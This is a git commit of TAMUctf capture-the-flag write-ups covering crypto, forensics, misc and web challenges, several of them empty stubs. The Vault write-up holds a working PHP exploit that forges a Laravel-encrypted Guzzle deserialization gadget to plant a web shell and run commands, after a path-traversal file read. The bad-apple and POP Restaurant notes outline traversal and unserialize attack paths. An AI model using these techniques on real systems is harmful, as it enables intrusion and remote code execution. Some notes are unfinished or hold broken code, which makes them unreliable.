added writeups exported from ctfnote

This commit is contained in:
deus 2026-04-01 21:47:42 +02:00
commit a37637a794
30 changed files with 1487 additions and 0 deletions

View file

@ -0,0 +1,2 @@
# Abnormal Ellipse - crypto

110
Broken-Website-web.md Normal file
View file

@ -0,0 +1,110 @@
# Broken Website - web
## Summary
The future is quic, this challenge was not.
## Problem
`curl -v https://broken-website.tamuctf.cybr.club/`
```
* Host broken-website.tamuctf.cybr.club:443 was resolved.
* IPv6: (none)
* IPv4: 54.91.191.64
* Trying 54.91.191.64:443...
* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
* closing connection #0
curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
```
Every attempt to connect to this site fails and/or times out.
## Solution
**Steps to solve:**
- Check some ports
- Check ALL the ports
- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!?
- try port knocking
- with default sequences
- with custom sequences
- consider doing a rain dance
- absolutely NO response from the server, so it HAS to be a network problem
- with 3 persons:
- blame AWS, because there currently is a offcially announced AWS problem between USA and europe
- find out that when connecting via nordvpn there is an answer on port 80
- rent servers in different parts of the world to check network issue
- blame challenge autor
- blame ctf infrastructure
- complain in support discord
- loop for 3 hours
- ignore this messed up stuff
- go to a concert
- drink some wine
- come back, think about tcp and udp
- vaguely remember some vague reference some month ago when someone mentioned quic
### Try quic/http3
https://curl.se/docs/manpage.html#--http3-only
`curl -v --http3-only https://broken-website.tamuctf.cybr.club/`
```
* Host broken-website.tamuctf.cybr.club:443 was resolved.
* IPv6: (none)
* IPv4: 54.91.191.64
* Trying 54.91.191.64:443...
* SSL Trust Anchors:
* CAfile: /etc/ssl/certs/ca-certificates.crt
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
* Server certificate:
* subject:
* start date: Mar 22 07:09:30 2026 GMT
* expire date: Mar 22 19:09:30 2026 GMT
* issuer: CN=Caddy Local Authority - ECC Intermediate
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club"
* OpenSSL verify result: 14
* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20)
* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
* closing connection #0
curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
More details here: https://curl.se/docs/sslcerts.html
curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the webpage mentioned above.
```
Certificate problem? -> ignore
https://curl.se/docs/manpage.html#--insecure
`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/`
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Fancy Website</title>
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@0,300;0,400;0,500;0,700;1,300;1,400;1,500;1,700&display=swap" rel="stylesheet">
</head>
<body>
<h1>Welcome to my website!</h1>
<h2>Here's the flag:</h2>
<h2>gigem{7h3_fu7u23_15_qu1c_64d1f5}</h2>
</body>
</html>
```
## Flag
`gigem{7h3_fu7u23_15_qu1c_64d1f5}`

37
Colonel-forensics.md Normal file
View file

@ -0,0 +1,37 @@
# Colonel - forensics
fridgebuyer
### vol
vol -f memory.dump linux.bash.Bash
vol -f memory.dump linux.kmsg.Kmsg
"insmod check_service.ko key_path=validation*"
### kmsg
Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect```
Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect```
A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts.
### Decode hex to ASCII
swap incorrect indices between keys (Key 1 as a base
and replace its bad positions (9, 21, 31) with the correct chars
from Key 2)
-> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e
### Decrypt
IV - 1234567890123456, key - ASCII bytes
python3 -c "
from Crypto.Cipher import AES
key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e'
iv = b'1234567890123456'
ct = open('flag.enc','rb').read()
print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct))
"
**gigem{bl3ss3d_4r3_th3_c010n31_m33k}**

View file

@ -0,0 +1,3 @@
# Favorite Sponsor - getting started
Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}!

2
Gamer-Returns-misc.md Normal file
View file

@ -0,0 +1,2 @@
# Gamer Returns - misc

2
Goodbye-libc-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# Goodbye libc - pwn

View file

@ -0,0 +1,150 @@
# Hidden Log Factoring - crypto
Den Schnippsel in https://sagecell.sagemath.org/ kopieren:
```
# Deine Werte
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
g = 11
# Erstelle den Restklassenring/Körper
R = Integers(p)
target = R(y)
base = R(g)
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
s = discrete_log(target, base, bounds=(1, 1 << 100))
print(f"Gefundenes s: {s}")
```
`Gefundenes s: 485391067385099231898174017598`
LLM genereated:
```
def decrypt(c, p, q):
n = p * q
# Berechnung der Quadratwurzeln modulo p und q
# Dies ist für p, q ≡ 3 (mod 4) besonders einfach
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
# Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1
def extended_gcd(a, b):
if a == 0: return b, 0, 1
gcd, x1, y1 = extended_gcd(b % a, a)
return gcd, y1 - (b // a) * x1, x1
_, yp, yq = extended_gcd(p, q)
# Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz)
r1 = (yp * p * mq + yq * q * mp) % n
r2 = n - r1
r3 = (yp * p * mq - yq * q * mp) % n
r4 = n - r3
return [r1, r2, r3, r4]
```
Ehrenlos zusammengevibed:
```
from Crypto.Util.number import long_to_bytes, bytes_to_long
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.backends import default_backend
# --- Gegebene Daten einfügen ---
n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831
e = 65537
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
g = 11
A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624
c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496
# --- 1. DLP lösen mit Sage ---
print("[*] Löse DLP für s...")
# Erstelle den Restklassenring/Körper
R = Integers(p)
target = R(A)
base = R(g)
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
s = discrete_log(target, base, bounds=(1, 1 << 100))
print(f"[+] s gefunden: {s}")
# --- 2. d-Maske berechnen ---
def get_mask(s_val, bit_len):
hkdf = HKDF(
algorithm=hashes.SHA256(),
length=bit_len // 8,
salt=None,
info=b"rsa-d-mask",
backend=default_backend()
)
return bytes_to_long(hkdf.derive(long_to_bytes(s_val)))
# Wir nehmen an, dass d etwa so lang wie n ist
mask = get_mask(s, n.bit_length())
d = int(D ^ mask)
print(f"[+] d={d} berechnet.")
# --- 3. n faktorisieren (via e und d) ---
# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus
def factor_n_ed(n, e, d):
k = d * e - 1
g = 2
while True:
t = k
while t % 2 == 0:
t //= 2
x = pow(g, t, n)
if x > 1:
y = gcd(x - 1, n)
if y > 1 and y < n:
return int(y), int(n // y)
g = next_prime(g)
q1, q2 = factor_n_ed(n, e, d)
print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}")
# Nutze die Faktoren q1 und q2 für die schnelle Berechnung
def general_rabin_decrypt(c, p, q):
# Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4)
# Fp und Fq sind die endlichen Körper
Fp = GF(p)
Fq = GF(q)
# sqrt() in GF(p) findet alle Wurzeln
roots_p = Fp(c).sqrt(all=True)
roots_q = Fq(c).sqrt(all=True)
results = []
for rp in roots_p:
for rq in roots_q:
# Kombiniere alle Paarungen via Chinesischem Restsatz
res = crt([int(rp), int(rq)], [int(p), int(q)])
results.append(res)
return results
potential_roots = general_rabin_decrypt(c, q1, q2)
for r in potential_roots:
# Umwandlung von Integer zu Bytes
try:
flag_candidate = long_to_bytes(int(r))
print(f"Gefundene Nachricht: {flag_candidate}")
if b"flag" in flag_candidate.lower() or b"{" in flag_candidate:
print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}")
except:
continue
```

2
Nucleus-rev.md Normal file
View file

@ -0,0 +1,2 @@
# Nucleus - rev

View file

@ -0,0 +1,55 @@
# POP Restaurant - web - easy
## Description
Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application.
----
## General
- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt`
- Therefore name is not predictable - probably RCE needed?
-
explanation of the attack vector
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
## Compose
Place one directory level above the provided challenge folder.
Launch with `docker compose up --watch`.
```yaml
services:
web-pop_restaurant:
build:
context: ./challenge # if one level above provided challenge files.
dockerfile: Dockerfile
container_name: web-pop_restaurant
ports:
- "1337:80"
stdin_open: true
tty: true
develop:
watch:
- action: sync
path: ./challenge/challenge
target: /var/www/html
ignore:
- .git/
- action: sync
path: ./challenge/flag.txt
target: /flag.txt
```
## `order.php`
```php=16
$order = unserialize(base64_decode($_POST['data']));
```
User controlled input, unsaitized, send to unserialize().
Thats bad :(

8
Phantom-forensics.md Normal file
View file

@ -0,0 +1,8 @@
# Phantom - forensics
- git fsck --unreachable --no-reflogs
- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done
=== 86f49cf ===
**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}**

67
Quick-Response-misc.md Normal file
View file

@ -0,0 +1,67 @@
# Quick Response - misc
![](https://notes.c3h2.de/pad/uploads/9a90b18f-69a4-48ea-b747-21651fbe0d41.png)
fridgebuyer
- The QR is 29x29 == version 3
- Each module = 32x32 px
- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right)
- What should be alternated are solid lines (timing strips)
- So the original QR was likely XORed with a Checkerboard pattern
- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this
- But this was applied to entire qr code, not only to the data region
- So need to XOR every module with (row + col) % 2 again.
### sol
```
from PIL import Image
import numpy as np
from pyzbar.pyzbar import decode
img = Image.open("quick-response.png").convert("RGB")
arr = np.array(img)
# extract module grid
module_size = 32
n = 29
dark = np.array([20, 22, 27])
grid = np.zeros((n, n), dtype=int)
for r in range(n):
for c in range(n):
cy = r * module_size + module_size // 2
cx = c * module_size + module_size // 2
pixel = arr[cy, cx]
if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100:
grid[r, c] = 1
# XOR (i + j) mod 2 = 0
for r in range(n):
for c in range(n):
grid[r, c] ^= (r + c) % 2
# write fixed QR code
scale = 10
border = 4
total = (n + 2 * border) * scale
out = Image.new("L", (total, total), 255)
px = out.load()
for r in range(n):
for c in range(n):
if grid[r, c] == 1:
for dy in range(scale):
for dx in range(scale):
px[(c + border) * scale + dx, (r + border) * scale + dy] = 0
result = decode(out)
for r in result:
print(r.data.decode())
```
![](https://notes.c3h2.de/pad/uploads/1251408d-9160-4c39-9e94-e2897518cad9.png)
**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}**

38
Random-Password-crypto.md Normal file
View file

@ -0,0 +1,38 @@
# Random Password - crypto
```
def backtrack(idx, sample, fives, sevens, accu, result):
if idx == 5718 and len(result(256)):
result.append(accu)
return
if len(fives) > 1 and sum(fives) < 5:
fives.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
fives.pop()
elif len(sevens) > 1 and sum(sevens) < 17:
sevens.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
sevens.pop()
elif len(fives) > 1 and sum(fives) > 5:r
accu.append(fives)
backtrack(idx, sample, [], sevens, accu, result)
accu.pop()
elif len(sevens) > 1 and sum(sevens) > 17:
accu.append(sevens)
backtrack(idx, sample, fives, [], accu, result)
accu.pop()
fives.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
fives.pop()
sevens.append(sample[idx])
backtrack(idx + 1, sample,fives, sevens, accu, result)
sevens.pop()
result = []
backtrack(0, sample, [], [], [], result)
```

View file

@ -0,0 +1,67 @@
# Short Term Fuel Trim - misc
The data is a list of _129*1380_ complex numbers
```
# STFT shape: complex64 (129, 1380)
(0.000000000000000000e+00+0.000000000000000000e+00j)
(0.000000000000000000e+00+0.000000000000000000e+00j)
(-1.484999775886535645e+00+0.000000000000000000e+00j)
(2.873720169067382812e+00+0.000000000000000000e+00j)
(9.447572708129882812e+00+0.000000000000000000e+00j)
(8.104647827148437500e+01+0.000000000000000000e+00j)
(1.316259765625000000e+01+0.000000000000000000e+00j)
(-3.101673889160156250e+02+0.000000000000000000e+00j)
(-4.186026916503906250e+02+0.000000000000000000e+00j)
(-5.818300781250000000e+02+0.000000000000000000e+00j)
(2.119775390625000000e+02+0.000000000000000000e+00j)
(-1.738154602050781250e+02+0.000000000000000000e+00j)
(-2.650747985839843750e+02+0.000000000000000000e+00j)
(-3.873171691894531250e+02+0.000000000000000000e+00j)
(-4.193124389648437500e+02+0.000000000000000000e+00j)
(-1.984837646484375000e+02+0.000000000000000000e+00j)
(-1.092494659423828125e+02+0.000000000000000000e+00j)
```
STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform).
The data is actually the STFT of an audio signal.
Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html),
we performed the inverse transform and reconstructed the audio signal
```python
with open("numbers.txt", "r") as f:
lines = f.readlines()
shape = (129, 1380)
nums = np.array([complex(l.strip()) for l in lines[1:]])
arr = nums.reshape(*shape)
sampling_rate_hz = 44100
t, z = istft(arr, fs=sampling_rate_hz)
from scipy.io import wavfile
def time_series_to_wav(arr, sample_rate=44100):
#sample_rate = 44100 # Hz — set correctly
#samples = samples.astype(np.float32)
arr_mean = arr.mean()
arr_ptp = arr.max() - arr.min()
samples = (arr - arr_mean)*2/arr_ptp
# Normalize if float in [-1,1], convert to 16-bit:
scaled = (samples * 32767).astype(np.int16)
wavfile.write("out.wav", sample_rate, scaled)
time_series_to_wav(z, sample_rate=44100)
```
The flag is spoken text, and can be transcribed from the wav file.
The flag is `gigem{fft_is_50_0p}`

2
Sun-Temple-rev.md Normal file
View file

@ -0,0 +1,2 @@
# Sun Temple - rev

2
Task-Manager-pwn.md Normal file
View file

@ -0,0 +1,2 @@
# Task Manager - pwn

16
Test-task.md Normal file
View file

@ -0,0 +1,16 @@
# Test task
## Description
Test task
----
fuuuuuuuu
![](https://notes.c3h2.de/pad/uploads/9b3b53b2-4975-44b8-8a54-c6c678a1d699.png)
asdw
passt

33
Time-Capsule-forensics.md Normal file
View file

@ -0,0 +1,33 @@
# Time Capsule - forensics
fridgebuyer
- mount the image
- in nostalgia/ ASCII chars can be derived from each file's mtime
- char = minutes * 60 + seconds
memory_1.jpg 2007-01-01 02:01:43
-- 1*60+43 = 103 = 'g'
```
python3 << 'EOF'
import os, datetime
flag = ""
for i in range(1, 18):
f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}."))
dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime)
ascii_val = dt.minute * 60 + dt.second
char = chr(ascii_val)
flag += char
print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'")
print(f"\nFlag: {flag}")
EOF
```
**gigem{byg0n3_3r4}**

0
Untitled.md Normal file
View file

View file

@ -0,0 +1,3 @@
Test
test2

300
Vault-web.md Normal file
View file

@ -0,0 +1,300 @@
# Vault - web
## entrypoint.sh
```shell
...
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
...
```
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
## Compose
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
This example assumes to be one directory level above the provided challenge files:
```yaml
services:
vault:
build:
context: ./challenge
dockerfile: Dockerfile
ports:
- "9090:80"
container_name: vault
restart: unless-stopped
```
## LFI
In `/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/AccountController.php` there is a controller for the account that accepts an image upload.
```php=69
$name = $_FILES['avatar']['full_path'];
$path = "/var/www/storage/app/public/avatars/$name";
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
$user->avatar = $path;
$user->save();
```
```php=69
$name = $_FILES['avatar']['full_path'];
```
is completely user supplied.
https://www.php.net/manual/en/reserved.variables.files.php
The content of `$name` (`$_FILES['avatar']['full_path']`) needs to be sanitized.
```php=70
$path = "/var/www/storage/app/public/avatars/$name";
```
No sanitizing here.
```php=71
$request->file('avatar')->storeAs('avatars', basename($name), 'public');
```
The location where the file will be saved is sanitized with `basename()`, so that the upload is constrained to the desired folder.
```php=73
$user->avatar = $path;
$user->save();
```
The user avatar gets modified, but the path to the avatar file is not sanitized and stored as is in the database.
So when uploading a file named `../../../../../../../../../../../../../../etc/passwd`, the script would create the file `etc/passwd` (even handling the sub folder) within the legitimate upload directory, but in the database it will store the user supplied file name, including the manipulated location with the path traversal.
When displaying the avatar via http://localhost:9090/avatar, the system will load the file at the stored location, including the path traversal.
Sadly there is no GUI for the avatar upload.
Instead of messing around with hand made http POST request, handling xsrf and all that stuff, just let Copilot extend the form for the POST request in `challenge/src/resources/views/account.blade.php` on our local challenge instance:
```php-template=26
<div class="content-box" style="margin-bottom: 1rem;">
<h2>Update Avatar</h2>
<form method="post" action="/account/avatar" enctype="multipart/form-data">
@csrf
<label for="avatar">Avatar Image</label>
<input id="avatar" name="avatar" type="file" accept="image/*">
<input class="submit" type="submit" value="Upload Avatar">
</form>
@if (session('avatar_error'))
<div class="errors">
<li>{{ session('avatar_error') }}</li>
</div>
@endif
</div>
```
0. Rebuild the challenge
1. upload a legitimate image file, sniff the http request
2. manipulate and resend http request to change the full_path name
```http
Content-Disposition: form-data; name="avatar"; filename="../../../../../../../../../../../../../../etc/passwd"
```
3. read `/etc/passwd` from http://localhost:9090/avatar
Further things that might be interesting:
- php Application
- Database
- php sessions
- log files?
- ...?
- system
- environment variables?
`/var/www/.env` contains
```
APP_KEY=base64:Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=
```
-> this should allow for creation and signing of things?
- Voucher
- Cookies
- Sessions
- ???
Probably even leading to insecure deserialisation??
Even if the cookie signing itself should not be vulnerable,
there is some custom decryption logic for the vouchers that might be vulnerable.
`/home/uwe/ctf/tamu/vault/challenge/src/app/Http/Controllers/VouchersController.php`
```php=37
$voucher = encrypt([
'amount' => $amount,
'created_by' => $user->uuid,
'created_at' => Carbon::now()
]);
```
```php=53
$voucher = decrypt($data['voucher']);
```
https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/laravel.html#app_key--encryption-internals-laravel-56
> encrypt($value, $serialize=true) will serialize() the plaintext by default, whereas decrypt($payload, $unserialize=true) will automatically unserialize() the decrypted value. Therefore any attacker that knows the 32-byte secret APP_KEY can craft an encrypted PHP serialized object and gain RCE via magic methods (__wakeup, __destruct, …).
The `VouchersController` does not use `$serialize=true`, will this work anyway?
> [...] a user able to send data to a decrypt function and in possession of the application secret key will be able to gain remote command execution on a Laravel application.
- [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer)
It looks like the automated solution [laravel-crypto-killer](https://github.com/synacktiv/laravel-crypto-killer) with [phpggc](https://github.com/ambionics/phpggc) would help against default configs in laravel itself (cookies, ...) but not against this custom implementation?
Also had severa trouble with the tool, probably user error...
Guzzle is also available, maybe matching.
```
'cipher' => 'AES-256-CBC',
```
After some discussion with copilot,
it explained that there is need for a __descruct() call in combination with some other neccessary.
There is a guzzle CookieJar Class, that fits!
Copilot got tired (whatever problem, idk), so gemini created this script,
that 1 MINUTE AFTER CTF END worked and has written the result of `ls /` into `/tmp/ls.txt`...
But ctf was already over :(
```php
<?php
require __DIR__ . '/vendor/autoload.php';
use GuzzleHttp\Client;
use GuzzleHttp\Cookie\CookieJar;
use GuzzleHttp\Cookie\SetCookie;
use GuzzleHttp\Cookie\FileCookieJar;
$baseUri = 'http://localhost:9090';
// The key used in VouchersController::redeem matches the APP_KEY in .env
$key = base64_decode('Ubbqb57C6290L7p/iugXBtSJEenMhVIHORuB6qmSKgI=');
// The payload to execute
// Avoiding quotes so JSON encoding doesn't break PHP syntax with backslashes
$payloadStr = '<?php system($_GET[1]); ?>';
$cookie = new SetCookie([
'Name' => 'payload',
'Value' => $payloadStr,
'Domain' => 'example.com',
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false,
]);
// Gadget chain using FileCookieJar
$filename = '/var/www/public/shell.php';
$jarPayload = new FileCookieJar($filename, true);
$jarPayload->setCookie($cookie);
$serialized = serialize($jarPayload);
$iv = random_bytes(16);
$encrypted = openssl_encrypt($serialized, 'aes-256-cbc', $key, 0, $iv);
$payloadArr = [
'iv' => base64_encode($iv),
'value' => $encrypted,
'tag' => base64_encode('')
];
$voucher = base64_encode(json_encode($payloadArr));
echo "[+] Generated voucher payload.\n";
$jar = new CookieJar();
$client = new Client([
'base_uri' => $baseUri,
'cookies' => $jar,
'http_errors' => false
]);
echo "[+] Fetching CSRF token...\n";
$res = $client->get('/register');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
$username = 'hacker' . rand(10000, 99999);
$password = 'password123';
echo "[+] Registering user $username...\n";
$res = $client->post('/register', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password,
'password2' => $password
]
]);
echo "[+] Logging in...\n";
$res = $client->post('/login', [
'form_params' => [
'_token' => $csrfToken,
'username' => $username,
'password' => $password
]
]);
echo "[+] Fetching new CSRF token for voucher redemption...\n";
$res = $client->get('/vouchers');
$html = (string) $res->getBody();
preg_match('/<input type="hidden" name="_token" value="([^"]+)"/', $html, $matches);
$csrfToken = $matches[1] ?? '';
echo "[+] Redeeming malicious voucher...\n";
$res = $client->post('/vouchers/redeem', [
'form_params' => [
'_token' => $csrfToken,
'voucher' => $voucher
]
]);
echo "[+] Status from redeem: " . $res->getStatusCode() . "\n";
echo "[+] Triggering payload at /shell.php...\n";
$res = $client->get('/shell.php', [
'query' => [
'1' => 'ls / > /tmp/ls.txt'
]
]);
echo "[+] Trigger response: " . $res->getStatusCode() . "\n";
echo "[+] Exploit finished. Check the server or container for /tmp/ls.txt.\n";
```

2
War-Hymn-rev.md Normal file
View file

@ -0,0 +1,2 @@
# War Hymn - rev

232
bad-apple-web.md Normal file
View file

@ -0,0 +1,232 @@
# bad-apple - web
## Information
```
-rw-rw-r-- 1 w1ntermute w1ntermute 836 Mär 18 22:19 Dockerfile
-rw-rw-r-- 1 w1ntermute w1ntermute 631 Mär 18 22:19 httpd-append.conf
-rwxrwxr-x 1 w1ntermute w1ntermute 6146 Mär 21 00:21 wsgi_app.py*
```
We can control user_id and filename on all routes.
On /upload we can control user_id to change the directory. filename is cleaned with [secure_filename](https://tedboy.github.io/flask/generated/werkzeug.secure_filename.html).
Under /convert user_id is cleaned with secure_filename but filename only with ` safe_name = os.path.splitext(os.path.basename(filename))[0]`
## Notables
The /convert endpoint seems to construct an `input_path` variable insecurely by directly using the filename from the GET parameter without sanitization (wsgi_app.py:144).
This looks like its later passed to the `extract_frames` function which uses it to construct a command:
```python
def extract_frames(input_path, output_dir, gif_name):
# ...
cmd = [
'ffmpeg', '-i', input_path,
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
'-y', f'{output_dir}/palette.png'
]
subprocess.run(cmd, capture_output=True)
```
This should grant code execution IF we can get a malicious filename past this check in line 145:
```python
if not os.path.exists(input_path):
return "File not found", 404
```
## extract_frames
It uses `subprocess.run` to extract frames via ffmpeg.
```python
cmd = [
'ffmpeg', '-i', input_path,
'-vf', f'fps=10,scale={width}:-1:flags=lanczos,palettegen',
'-y', f'{output_dir}/palette.png'
]
subprocess.run(cmd, capture_output=True)
```
## Strategy
With /uploads we can upload a file to every path we want.
So with /uploads we can upload arbitrary files.
```http=
POST /upload HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=../static/frames/test/{{7*7}}
Content-Length: 190
Sec-Ch-Ua-Platform: "Linux"
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeAEo5u9BrAwBXC9D
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Origin: https://bad-apple.tamuctf.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://bad-apple.tamuctf.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: keep-alive
------WebKitFormBoundaryeAEo5u9BrAwBXC9D
Content-Disposition: form-data; name="file"; filename="frame_1.png"
Content-Type: image/png
test
------WebKitFormBoundaryeAEo5u9BrAwBXC9D--
```
And this gets rendered as one frame in the UI.
## convert
```http=
GET /convert?user_id=24720472&filename=SmallFullColourGIF.gif HTTP/1.1
Host: bad-apple.tamuctf.com
Cookie: user_id=24720472
Cache-Control: max-age=0
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=0, i
Connection: keep-alive
```
gives you
```http=
HTTP/1.1 302 FOUND
Server: nginx/1.24.0 (Ubuntu)
Date: Sat, 21 Mar 2026 15:24:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 279
Connection: keep-alive
Location: /?view=SmallFullColourGIF&user_id=24720472
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/?view=SmallFullColourGIF&amp;user_id=24720472">/?view=SmallFullColourGIF&amp;user_id=24720472</a>. If not, click the link.
```
# Endpoints
Per endpoint:
- input
- output
## /
input
- user_id
- not sanitized, set by cookie
- view_gif = request.args.get('view')
- not sanitized, set by arg
- view_user_id = request.args.get('view_user_id', user_id)
- not sanitized, set by arg
Because of ` if f.startswith("frame_") and f.endswith(".png")` it looks like there is no file inclusion here.
`render_template()` takes unsaitized `user_id` as argument. This is reflected in template, but it looks like this is not template injectable.
## /upload
inputs
- `filename = secure_filename(file.filename)`
- probably secure
- `user_id = request.cookies.get("user_id")`
- insecure, not sanitized, set by cookie
